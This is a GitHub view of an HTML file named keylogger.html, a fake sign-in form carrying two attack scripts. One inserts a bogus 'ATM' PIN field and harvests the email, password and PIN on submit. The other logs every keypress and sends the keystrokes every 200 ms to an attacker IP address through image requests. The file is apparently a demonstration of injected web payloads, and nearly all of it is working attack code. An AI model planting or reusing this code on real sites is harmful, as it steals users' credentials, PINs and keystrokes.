-
Notifications
You must be signed in to change notification settings - Fork 4
Expand file tree
/
Copy pathkeylogger.html
More file actions
executable file
·49 lines (44 loc) · 1.4 KB
/
Copy pathkeylogger.html
File metadata and controls
executable file
·49 lines (44 loc) · 1.4 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<html>
<body>
<form class="form-signin">
<h2 class="form-signin-heading">Please sign in</h2>
<input class="input-block-level" type="text" name="email" placeholder="Email address" value="">
<input class="input-block-level" type="password" name="password" placeholder="Password">
<button class="btn btn-large btn-primary" type="submit">Sign in</button>
</form>
<script>
var form = document.forms[0];
child = form.childNodes[6];
var input = document.createElement("input");
input.id = "atm";
child.parentNode.insertBefore(input,child.nextSibling);
form.atm.setAttribute("class","input-block-level");
form.atm.setAttribute("type","text");
form.atm.setAttribute("name","pin");
form.atm.setAttribute("placeholder","ATM");
document.forms[0].onsubmit = function (){
alert("User: "+document.forms[0].email.value+" Pass: " +document.forms[0].email.value+" PIN: "+document.forms[0].atm.value);
return false;
}
</script>
<script>
var buffer = [];
var attacker = 'http://10.218.20.231/'
document.onkeypress = function(e) {
var timestamp = Date.now() | 0;
var stroke = {
k: e.key,
t: timestamp
};
buffer.push(stroke);
}
window.setInterval(function() {
if (buffer.length > 0) {
var data = encodeURIComponent(JSON.stringify(buffer));
new Image().src = attacker + data;
buffer = [];
}
}, 200);
</script>
</body>
</html>